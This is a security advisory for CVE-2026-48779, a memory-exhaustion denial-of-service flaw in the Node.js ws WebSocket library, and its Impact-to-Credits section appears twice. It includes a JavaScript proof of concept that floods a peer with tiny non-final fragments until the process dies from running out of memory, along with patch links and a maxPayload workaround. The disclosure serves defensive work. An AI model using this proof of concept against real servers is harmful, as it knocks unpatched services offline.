CVE-2026-48779

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).